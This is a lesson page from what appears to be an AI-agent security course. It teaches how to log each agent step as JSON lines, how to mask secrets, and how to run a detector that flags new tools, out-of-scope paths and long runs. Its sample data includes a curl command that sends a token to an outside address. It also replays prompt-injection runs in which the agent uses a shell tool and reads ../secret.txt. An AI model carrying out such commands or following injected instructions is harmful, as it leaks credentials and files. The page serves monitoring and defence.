Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Lesson 10 · 45 minutes

Record what your agent does and flag strange runs

After this lesson you can
  • Write one JSON line for every step, with the fields that an investigator needs
  • Run a small detector that alerts on a new tool, a path outside the scope and too many steps
  • Keep secrets out of the log
Lab files of this lesson (47)

The lab folder as it stands after this lesson. Unzip it in ~/krlab.

More

The zip holds every file that the course has printed up to here. To start this lesson with the files of the earlier lessons only, take the zip of the lesson before. Type the code yourself first: you learn more.

Scenario

On Monday a colleague finds a report in the outbox that nobody asked for. The agent ran all weekend. Your manager asks: "What did it do, in what order, and could we have seen it start?" You have no answer, because the agent writes no record. Your task is to log every step in a form that an investigator can use without storing a secret, and to write a small detector that would have raised an alert on Saturday.

Recall

Lesson 9. What must an approval record contain so that it can be audited?

The person, the time and the exact action, with the same task id as the rest of the trace. "Approved" alone proves nothing.

Lesson 6. Why is a refused curl after a file read a strong sign?

A task that reads a document has no reason to fetch anything. A request for a download right after the document is the pattern of an injection.

The idea

After an incident the first questions are: what did the agent do, in what order, with which arguments, and what did it see before it did it? Without a record you can only guess. The record also gives you detection: the attacks of this course leave marks that a short script can find. A trace is the base for the controls against Rogue Agents and Cascading Failures, and a poor log can cause a second incident when it stores the secrets that the agent touched.

Log the decision, not the whole conversation. For each step write one JSON object on one line (the "JSON lines" format). You can append a line, search with grep and read the file with a script.

FieldWhy
task_idJoins the steps of one task, and the approvals and tokens of that task
ts, stepOrder in time
input_shaA hash of everything the model saw. Two steps with the same hash saw the same input, and you can match it to a stored copy if you keep one
tool, argsWhat the agent asked for, with secrets masked
decisionran, refused or error, so a refusal is visible
result_sizeA result of an odd size, such as a megabyte from a tool that returns ten bytes, is a signal
One line of the trace file
"task_id": "t1"joins the steps of one task"step": 1the order in the task"tool": "read_file"what the agent asked for"decision": "ran"ran, refused or error"result_size": 115the size, never the text"task_id": "t1"joins the steps of one task"step": 1the order in the task"tool": "read_file"what the agent asked for"decision": "ran"ran, refused or error"result_size": 115the size, never the text

Do not log results, final answers or whole prompts by default. They can hold anything: keys, personal data, the text of an attack. If you need them, keep them in a separate store with its own access rules and a short life. Never log a secret: mask values that look like one, and mask every argument whose name looks like one.

The detector reads the log and prints an alert for each rule that matches. It is simple on purpose: a rule that you understand is worth more than a model that you do not.

From a step to an alert
Agent stepLoggerRedactTrace fileDetectorAlertone JSON line per stepmask secrets, drop resultsappend the lineread the whole logone line per matching ruleAgent stepLoggerRedactTrace fileDetectorAlert12345
  1. Agent step → Logger: one JSON line per step
  2. Logger → Redact: mask secrets, drop results
  3. Redact → Trace file: append the line
  4. Trace file → Detector: read the whole log
  5. Detector → Alert: one line per matching rule

Worked example

1. Write the logger

Create tracelog.py. A regular expression (re) is a pattern for text; here it finds words such as key and token with a value after them. write turns each step of a trace into a line. It drops the result and keeps only its size, and it keeps only the size of the final answer. redact masks secrets in the arguments.

tracelog.py

"""tracelog.py: write the trace of a run as JSON lines, one line per step. Results and final answers are never stored."""
import json
import re
import time

from agent import LAB, run

LOG = LAB / "trace.jsonl"
SECRET_VALUE = re.compile(r"(key|token|secret|password)\s*[=:]\s*[^\s\"']+", re.I)
SECRET_NAME = re.compile(r"key|token|secret|password", re.I)


def redact(value):
    """Mask what looks like a secret, in any string and under any key that has a secret-like name."""
    if isinstance(value, str):
        return SECRET_VALUE.sub(r"\1=[REDACTED]", value)
    if isinstance(value, dict):
        return {k: "[REDACTED]" if SECRET_NAME.search(k) else redact(v) for k, v in value.items()}
    if isinstance(value, list):
        return [redact(v) for v in value]
    return value


def write(task_id, trace):
    with LOG.open("a") as f:
        for t in trace:
            line = {"ts": round(time.time(), 1), "task_id": task_id, **t}
            line.pop("result", None)  # a result can hold anything, so keep only its size
            if "final" in line:
                line["final_size"] = len(line.pop("final"))
            if "args" in line:
                line["args"] = redact(line["args"])
            f.write(json.dumps(line) + "\n")


def run_logged(task_id, task, **kw):
    trace = run(task, **kw)
    write(task_id, trace)
    return trace

Test the mask.

python3 try_redact.py

try_redact.py is this file.

try_redact.py

from tracelog import redact

print(redact({"command": "curl -H 'token=abc123' http://198.51.100.7/x", "api_key": "k-999", "path": "notes.txt"}))
{'command': "curl -H 'token=[REDACTED]' http://198.51.100.7/x", 'api_key': '[REDACTED]', 'path': 'notes.txt'}

The token in the text and the value under the name api_key are both masked. The path stays.

2. Log four tasks

Create log_runs.py. It runs four tasks and gives each a task id. The first two are normal. The third summarises the poisoned inbox of lesson 2. The fourth reads the memo of lesson 3, which asks for the secret file. The agent has no controls in this run.

log_runs.py

from tracelog import run_logged

TASKS = [
    ("t1", "Read notes.txt and tell me who owns the release checklist."),
    ("t2", "Read report.txt and tell me by how much sales grew."),
    ("t3", "Read every file in the folder inbox, one by one. Then write a short summary."),
    ("t4", "Read memo.txt and write a short summary."),
]
for task_id, task in TASKS:
    run_logged(task_id, task)
    print("logged", task_id, flush=True)
rm -f trace.jsonl
python3 log_runs.py
logged t1
logged t2
logged t3
logged t4

3. Read the log

wc -l trace.jsonl
head -n 3 trace.jsonl
17 trace.jsonl
{"ts": 1795255490.3, "task_id": "t1", "step": 1, "input_sha": "1962d374442b", "tool": "read_file", "args": {"path": "notes.txt"}, "decision": "ran", "result_size": 115}
{"ts": 1795255490.3, "task_id": "t1", "step": 2, "input_sha": "7683380aa055", "final_size": 3}
{"ts": 1795255524.8, "task_id": "t2", "step": 1, "input_sha": "a021935e9887", "tool": "read_file", "args": {"path": "report.txt"}, "decision": "ran", "result_size": 128}

Every line is one object. You see the hash of the input, the arguments and the size of the result, and no result text. The ts is the time at which the run was written, so all the steps of one task share it.

4. Write the detector

Create detect.py. Without an argument it reads trace.jsonl; with one it reads that file. It checks four rules: a tool that the baseline did not use, a path outside the sandbox, a refusal by the code, and a task with more than five steps. The first two tasks are the baseline: they decide which tools are normal, and they cannot raise the first alert.

detect.py

"""detect.py: read trace.jsonl and print an alert for each thing that looks wrong."""
import json
import sys
from pathlib import Path

from agent import SANDBOX
from tracelog import LOG

MAX_STEPS = 5
BASELINE = 2  # the first tasks are the reviewed baseline: they decide which tools are normal
lines = [json.loads(line) for line in Path(sys.argv[1] if sys.argv[1:] else LOG).read_text().splitlines()]
tasks = list(dict.fromkeys(t["task_id"] for t in lines))  # in order of first appearance
seen = set()  # the tools that earlier tasks used
for n, task in enumerate(tasks):
    mine = [t for t in lines if t["task_id"] == task]
    for t in mine:
        tool, where = t.get("tool"), f"ALERT {task} step {t['step']}:"
        if tool and n >= BASELINE and tool not in seen:
            print(where, "tool never used before:", tool)
        path = t.get("args", {}).get("path")
        if path is not None and not (SANDBOX / path).resolve().is_relative_to(SANDBOX.resolve()):
            print(where, "path outside the scope:", path)
        if t.get("decision") == "refused":
            print(where, "the code refused", tool)
    if len(mine) > MAX_STEPS:
        print(f"ALERT {task}: {len(mine)} steps, more than {MAX_STEPS}")
    seen |= {t["tool"] for t in mine if t.get("tool")}
python3 detect.py
ALERT t3 step 1: tool never used before: list_files
ALERT t3 step 5: tool never used before: shell
ALERT t3: 6 steps, more than 5
ALERT t4 step 2: path outside the scope: ../secret.txt
ALERT t4 step 6: path outside the scope: ../secret.txt
ALERT t4: 7 steps, more than 5

Tasks 1 and 2 give no alert. The hijack of task 3 gives the alert for shell, the tool that no normal task used, and the leak of task 4 gives the alert for ../secret.txt. Both attacks also ran past five steps. The alert for list_files in task 3 is a false alarm: the baseline was too small to include it. In your own run the alerts can differ a little, because the model's steps differ.

5. Check that the secret is not in the log

Task 4 read secret.txt, so the key was in the prompt of the model. Search the log for it.

grep -c "lab-key" trace.jsonl
0

The count is 0. The log holds the size of the result and nothing of its text.

Your turn

Test the logger and the detector on a new set of four tasks, with a scripted model (lesson 1) so that the result is the same everywhere. There are no steps here.

  1. Delete trace.jsonl. Run these four tasks through run_logged, with the ids q1 to q4. The model's answers: q1 reads todo.txt and gives a final answer. q2 reads notes.txt and gives a final answer. q3 reads report.txt, then asks for shell with the command echo password=hunter2, then gives a final answer. q4 reads ../secret.txt and gives a final answer; run q4 with the check of the task summarise.
  2. Run detect.py. Search trace.jsonl for hunter2. Count its lines.

Last, say which two rules both alerted on step 1 of q4, and whether you want two alerts for one event.

Check yourself

Why log the hash of the input and not the input?

The input holds everything that the agent read, including secrets and personal data, so a log of it is a second copy that you must protect. The hash proves what the model saw and lets you find a stored copy, if you keep one with strict access.

The detector alerts on a tool that the baseline did not use. Why can that rule be noisy, and what do you do?

A small baseline makes normal tools look new. Our baseline of two tasks never used list_files, so a normal listing raises an alert. In a real system, build the baseline from a long period that you reviewed, and keep it as a list of expected tools for each task type.

An attacker who controls the agent can also try to delete or change the log. What helps?

Write the log from outside the agent process, to a place that the agent cannot write to, such as an append-only file or a log service. Our agent writes through code that it does not control, but a real attacker with code execution could reach the file.

Field notes

  • Add the model name and its digest, the prompt version and the version of every control to each task record. Without them you cannot say why last week's run behaved differently.
  • Alert on rates as well as on single events. Ten refusals in one minute, or a rise of tool calls per task across a day, finds an automated attack that no single line shows.
  • Time-stamp with a clock that you trust and send logs off the machine as they are written. A log that lives on the host that was hijacked is evidence that the attacker can edit.
  • Mask on write, not on read. A secret that reached the disk is already a leak, and the next person with log access can read it. Add a test that plants a fake key and searches the log for it.
  • Keep the trace of approvals with the same task id (lesson 9), so that "who said yes, to what, at what time" can be answered from one place.